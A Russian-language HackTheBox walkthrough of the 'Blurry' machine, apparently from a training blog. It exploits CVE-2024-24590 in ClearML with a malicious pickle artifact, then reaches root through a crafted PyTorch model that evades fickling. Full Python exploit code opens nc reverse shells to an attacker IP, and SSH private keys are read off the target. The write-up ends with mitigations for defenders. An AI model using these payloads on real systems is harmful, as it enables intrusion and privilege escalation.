Перейти к содержимому

HTB Blurry writeup: RCE через ClearML и эскалация привилегий с PyTorch десериализацией

HTB Blurry writeup: RCE через ClearML и эскалация привилегий с PyTorch десериализацией
Время чтения: 12 мин.

CVE-2024-24590 получила CVSS 8.0 (HIGH), затрагивает ClearML SDK версий от 0.17.0 до 1.14.2 и позволяет выполнить произвольный код через один вредоносный pickle-артефакт. Машина Blurry на HackTheBox (medium) строит на этой уязвимости полную цепочку: от загрузки отравленного артефакта в MLOps-платформу до root через десериализацию PyTorch-модели.

Я разберу каждый шаг — что запускал, какой вывод получал и где пришлось менять подход. Если вы впервые сталкиваетесь с pickle-атаками или MLOps-инфраструктурой, контекст будет по ходу.

Цепочка атаки и требования к окружению

Прежде чем открывать терминал — полный путь от первого сканирования до root. Каждый шаг привязан к конкретной технике из MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — её идентификаторы):

  1. Разведка — сканирование портов, фаззинг поддоменов, изучение ClearML и RocketChat. Тактика Discovery: File and Directory Discovery (T1083).
  2. Initial Access — загрузка вредоносного pickle-артефакта через ClearML SDK. Техники: Supply Chain Compromise (T1195.001), Malicious File (T1204.002).
  3. Execution — серверный скрипт десериализует артефакт и выполняет Python-код. Техники: Python (T1059.006), Malicious File (T1204.002).
  4. Foothold — reverse shell как пользователь jippity, закрепление через SSH-ключ. Техники: Ingress Tool Transfer (T1105), Valid Accounts (T1078).
  5. Privilege Escalation — злоупотребление sudo-правами через вредоносную PyTorch-модель. Техники: Sudo and Sudo Caching (T1548.003), Exploitation for Privilege Escalation (T1068).

EPSS (оценка вероятности от 0 до 1, что уязвимость начнут эксплуатировать в ближайшие 30 дней) составляет 0.0245, перцентиль 82.4% — выше медианы. На GitHub доступен PoC-репозиторий diegogarciayala/CVE-2024-24590-ClearML-RCE-CMD-POC (9 звёзд, обновлён в марте 2025). Атака применима к внутренним пентестам MLOps-инфраструктуры, где ClearML развёрнут без сегментации.

Требования к окружению

  • ОС: Kali Linux 2024.x или Parrot OS (Python 3.8+, pip)
  • RAM: минимум 4 ГБ (ClearML SDK + PyTorch)
  • Сеть: VPN-подключение к HackTheBox через OpenVPN
  • Инструменты: nmap, ffuf, netcat или pwncat-cs, пакеты clearml и torch (pip install clearml torch)
  • Доступ: активная подписка HTB (Blurry доступна в retired-разделе)

Разведка: от Nmap до подсказок в RocketChat

Сканирование портов и обнаружение поддоменов

Запускаю полное сканирование всех 65 535 портов: nmap -p- --min-rate 10000 10.10.11.19. Результат — два открытых порта: 22 (SSH, OpenSSH 8.4p1 Debian) и 80 (HTTP, nginx 1.18.0). Версия OpenSSH указывает на Debian Bullseye 11. На порту 80 nginx отдаёт 301 redirect на http://app.blurry.htb/ — сервер использует virtual host routing (маршрутизацию по имени хоста, когда один IP обслуживает несколько сайтов).

Добавляю домен в /etc/hosts и сразу фаззю поддомены: ffuf -u http://10.10.11.19 -H "Host: FUZZ.blurry.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac. Флаг -ac включает автокалибровку — ffuf сам определит «мусорные» ответы по размеру и отфильтрует их.

Четыре живых поддомена:

Поддомен Статус Назначение
app.blurry.htb 200 Веб-интерфейс ClearML
api.blurry.htb 400 API-бэкенд для SDK
files.blurry.htb 200 Хранилище артефактов
chat.blurry.htb 200 RocketChat для команды

Все четыре добавляю в /etc/hosts одной строкой: 10.10.11.19 blurry.htb app.blurry.htb api.blurry.htb files.blurry.htb chat.blurry.htb.

Зачем проверять поддомены, а не только app: ClearML состоит из нескольких компонентов — веб-UI, REST API и файловый сервер. Без записи api.blurry.htb в hosts SDK не подключится к платформе. Без files.blurry.htb артефакты не загрузятся. Пропустишь фаззинг — потеряешь критическую часть attack surface.

ClearML и RocketChat — ключевые подсказки

ClearML (активно поддерживается, github.com/allegroai/clearml) — open-source MLOps-платформа для управления экспериментами, обучением моделей и деплоем. На app.blurry.htb можно создать аккаунт без каких-либо credentials — вводишь произвольное имя и попадаешь на дашборд. В проекте Black Swan видны эксперименты (задачи), часть из которых запускается по расписанию. Это первый намёк на автоматический скрипт обработки.

На chat.blurry.htb развёрнут RocketChat. Создаю аккаунт, нахожу два канала: General и Announcements. В Announcements — сообщение от пользователя Chad Jippity: задачи с тегом review в проекте Black Swan будут автоматически проверены администратором. Переводя на язык атаки: серверный скрипт периодически забирает задачи с этим тегом и обрабатывает их артефакты. Если артефакт содержит вредоносный pickle-объект — код выполнится на сервере при десериализации.

Дополнительная разведка feroxbuster по files.blurry.htb и api.blurry.htb ничего не дала: файловый сервер возвращает «OK» на корне, API отвечает JSON-ошибками на невалидные пути. Вектор атаки — через SDK-взаимодействие, не через веб-эндпоинты.

ClearML уязвимость RCE — эксплуатация CVE-2024-24590

Pickle deserialization attack — почему это работает

Pickle — встроенный модуль Python для сериализации (преобразования объектов в байтовый поток, чтобы сохранить на диск или передать по сети) и десериализации (обратного преобразования). Критический момент: при десериализации pickle вызывает метод __reduce__() объекта. Этот метод возвращает кортеж — вызываемую функцию и её аргументы. Если атакующий контролирует содержимое pickle-файла, он контролирует код, который выполнится при загрузке.

CVE-2024-24590 (CWE-502 — Deserialization of Untrusted Data) эксплуатирует именно это: ClearML SDK при вызове Artifact.get() десериализует загруженный артефакт без валидации содержимого. Атакующий создаёт вредоносный pickle-объект, загружает его как артефакт задачи, а серверный скрипт при обработке десериализует файл и исполняет произвольный код.

В классификации OWASP это A08:2021 — Software and Data Integrity Failures, куда insecure deserialization входит как подкатегория.

CVSS-вектор CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H разбирается так: атака по сети (AV:N), низкая сложность (AC:L), нужны минимальные привилегии — хватит учётной записи ClearML (PR:L), требуется действие пользователя или автоматизированного скрипта, который обработает артефакт (UI:R). Импакт полный на конфиденциальность, целостность и доступность.

Получение reverse shell — HTB Blurry прохождение foothold

Первый шаг — настроить ClearML SDK на атакующей машине. На app.blurry.htb иду в Settings → Workspace Configuration → Create New Credentials, получаю блок с API-ключами и адресами серверов. Выполняю clearml-init, вставляю полученные credentials. Если всё верно, в терминале появится ClearML setup completed successfully.

Здесь типичная ловушка: создать pickle-файл на диске и загрузить его по пути (artifact_object='path/to/file.pkl'). На этой машине такой подход не срабатывает — файл попадает в хранилище files.blurry.htb, но серверный скрипт не может его корректно забрать для десериализации. Рабочий способ — передать сам Python-объект как артефакт с расширением .pkl. SDK сериализует объект через pickle на клиенте и отправит на сервер, где при обработке он будет десериализован:

import os
from clearml import Task

class RunCommand:
    def __reduce__(self):
        return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f'
                '|/bin/sh -i 2>&1|nc 10.10.14.XX 4444 >/tmp/f',))

task = Task.init(tags=['review'], project_name='Black Swan',
                 task_name='exploit')
task.upload_artifact(name='pwn', artifact_object=RunCommand(),
                     retries=2, wait_on_upload=True, extension_name='.pkl')

Что здесь происходит построчно:

  • Класс RunCommand переопределяет __reduce__() — при десериализации вызовется os.system() с reverse shell через mkfifo и netcat. Адрес 10.10.14.XX замените на IP атакующей машины в сети HTB.
  • Task.init() создаёт задачу в проекте Black Swan с тегом review — именно этот тег триггерит серверный скрипт обработки.
  • upload_artifact() принимает объект (не строку-путь к файлу) и расширение .pkl. ClearML SDK вызывает pickle.dumps(), который записывает инструкцию «вызвать os.system с такими аргументами» в байтовый поток, но не выполняет os.system на атакующей машине. Выполнение происходит на стороне сервера, когда скрипт вызовет pickle.loads() через Artifact.get().

Перед запуском эксплойта поднимаю слушатель в отдельном терминале: nc -lvnp 4444. Запускаю скрипт: python3 exploit.py. Жду 1–2 минуты, пока серверный скрипт подхватит задачу с тегом review. В терминале с netcat появляется shell:

jippity@blurry:~$

Проверяю: iduid=1000(jippity) gid=1000(jippity). Для закрепления копирую SSH-ключ: cat ~/.ssh/id_rsa на целевой, сохраняю на атакующей в файл, выставляю права chmod 600 id_rsa, подключаюсь: ssh -i id_rsa jippity@10.10.11.19. Теперь доступ не зависит от нестабильного reverse shell.

Privilege escalation через PyTorch модель

Анализ evaluate_model и обход fickling

Стандартная пост-эксплуатационная разведка. Можно запустить linpeas (github.com/peass-ng/PEASS-ng, активно поддерживается) для автоматического сбора данных о потенциальных векторах повышения привилегий. Но здесь хватает одной команды — sudo -l:

(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

Пользователь jippity может запускать скрипт evaluate_model от root без пароля, но только с файлами .pth из каталога /models/. Файлы .pth — сериализованные PyTorch-модели, сохранённые через torch.save(). PyTorch (github.com/pytorch/pytorch, активно поддерживается) — одна из двух главных библиотек машинного обучения наряду с TensorFlow.

Читаю содержимое скрипта: cat /usr/bin/evaluate_model. Основная логика:

  1. Принимает путь к .pth-файлу как аргумент.
  2. Определяет формат архива: POSIX tar (старый формат PyTorch) или ZIP (новый формат).
  3. Извлекает .pkl-файл из архива.
  4. Прогоняет .pkl через fickling (github.com/trailofbits/fickling, поддерживается Trail of Bits) — статический анализатор pickle-файлов, который ищет подозрительные вызовы типа os.system, subprocess.Popen и подобные.
  5. Если fickling считает файл безопасным — загружает модель через torch.load().

И вот тут самое интересное: fickling анализирует pickle статически — декомпилирует байткод и проверяет, какие функции будут вызваны. Но если вредоносный вызов обёрнут в легитимную структуру нейросети (класс, наследующий nn.Module, с нормальными слоями и forward()), fickling может пропустить переопределённый __reduce__(). А torch.load() при десериализации вызовет этот метод и выполнит произвольный код.

Вредоносная .pth модель и root shell

Создаю модель, которая выглядит легитимно для fickling, но содержит reverse shell в __reduce__():

import torch, torch.nn as nn, os

class EvilModel(nn.Module):
    def __init__(self):
        super().__init__()
        self.dense = nn.Linear(10, 1)
    def forward(self, x):
        return self.dense(x)
    def __reduce__(self):
        return os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f'
                '|/bin/sh -i 2>&1|nc 10.10.14.XX 5555 >/tmp/f',)

torch.save(EvilModel(), '/models/evil.pth')  # evaluate_model поддерживает и ZIP, и tar формат

Что делает каждый компонент:

  • EvilModel наследует nn.Module — базовый класс нейросетей PyTorch. Линейный слой nn.Linear(10, 1) и метод forward() делают модель структурно валидной, поэтому fickling воспринимает её как обычную нейросеть.
  • __reduce__() переопределён: при десериализации через torch.load() вместо нормального восстановления объекта выполнится os.system() с reverse shell.
  • torch.save() сохраняет объект в /models/evil.pth — каталог, разрешённый в sudo-правиле.

PyTorch на целевой машине уже установлен (нужен для работы evaluate_model), поэтому скрипт можно выполнить прямо там. Альтернатива — собрать .pth на атакующей машине и передать через scp -i id_rsa evil.pth jippity@10.10.11.19:/models/.

На атакующей поднимаю слушатель: nc -lvnp 5555. На целевой выполняю:

sudo /usr/bin/evaluate_model /models/evil.pth

Скрипт запускается от root. Fickling проверяет pickle внутри архива — и пропускает вредоносный __reduce__(). Следом torch.load() десериализует модель, вызывает __reduce__(), исполняет os.system(). В терминале с netcat — root shell. Проверка: whoamiroot. Читаю флаг: cat /root/root.txt. Машина решена.

Ограничения техники и MLOps security

Обе атаки из этой цепочки работают при конкретных условиях. Без понимания ограничений можно потратить часы впустую на реальном пентесте.

CVE-2024-24590 — ClearML RCE:

  • Работает только на ClearML SDK 0.17.0 — 1.14.2 (по данным NVD). Обновление до 1.14.4+ (GHSA-cpcw-9h9m-wqw9) закрывает вектор.
  • Требует, чтобы на стороне жертвы автоматизированный скрипт (или человек) вызвал Artifact.get() для загрузки артефакта. Это не классический remote code execution, а ближе к supply chain poisoning.
  • Не автоматизируема массово (CISA: automatable = no) — нужно знать целевой проект, правильный тег и дождаться обработки.
  • CrowdStrike Falcon и Elastic 8.x+ могут задетектировать порождение shell из Python-процесса, но в типичных MLOps-окружениях endpoint-защита на серверах обработки моделей — редкость.

PyTorch десериализация — privesc:

  • До PyTorch 2.6 (январь 2025) torch.load() по умолчанию выполняет полную pickle-десериализацию (weights_only=False) — нужно явно указывать torch.load(path, [weights_only=True](https://pytorch.org/docs/stable/generated/torch.load.html)). В PyTorch 2.6+ weights_only=True стало дефолтом.
  • Fickling полезен как дополнительный контроль, но не панацея: статический анализ pickle не покрывает все варианты обфускации __reduce__().
  • sudo-правило с wildcard (/models/*.pth) позволяет подставить произвольный файл. В продакшене такая конфигурация недопустима.

Чеклист защитных мер для MLOps-инфраструктуры:

  1. Обновить ClearML SDK до 1.14.4 или новее (исправление GHSA-cpcw-9h9m-wqw9).
  2. Перейти на SafeTensors (формат от Hugging Face, не поддерживающий произвольное выполнение кода) вместо pickle для сериализации моделей.
  3. Использовать torch.load() с weights_only=True или torch.jit.load() для продакшен-загрузки.
  4. Убрать wildcard из sudo-правил, ограничив конкретными путями с хэш-верификацией.
  5. Добавить fickling в CI/CD с максимальной строгостью, но не полагаться на него как единственный контроль.
  6. Развернуть endpoint-мониторинг на серверах обработки моделей — большинство ML-инженеров этого не делают.

Pickle-десериализация в ML-пайплайнах — не разовая ошибка одного вендора. ClearML, MLflow и даже PyTorch Hub — везде, где модели перемещаются между пользователями как бинарные объекты, возникает один вопрос: доверяем ли мы источнику? По данным Mandiant M-Trends 2025, exploits — самый распространённый вектор initial access (38% инцидентов). А среднее время между публикацией CVE и устранением в организации, по данным IBM X-Force 2025, составляет 29 месяцев. CVE-2024-24590 опубликована в феврале 2024 — сколько ClearML-инсталляций до сих пор уязвимы, можно только гадать.

На реальных проектах я вижу одну и ту же картину: ML-инженеры думают о точности моделей и стоимости GPU-часов, а вопрос «откуда взялся этот .pth-файл и что у него внутри» никто не задаёт. Скрипты обработки моделей крутятся от root, потому что «иначе не работает». Артефакты из Jupyter-ноутбуков коллег загружаются без проверки. SafeTensors существует, weights_only=True существует — но пока индустрия не сделает безопасные форматы дефолтом, pickle-десериализация останется одним из самых простых векторов для получения shell в ML-окружениях. Проще, чем большинство веб-уязвимостей, и с гораздо меньшим количеством защитных решений на пути. На IB Basics в Codeby Academy разбирают, как устроены подобные цепочки от разведки до пост-эксплуатации — для тех, кому writeup’ов мало и хочется пройти путь руками с куратором.

Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.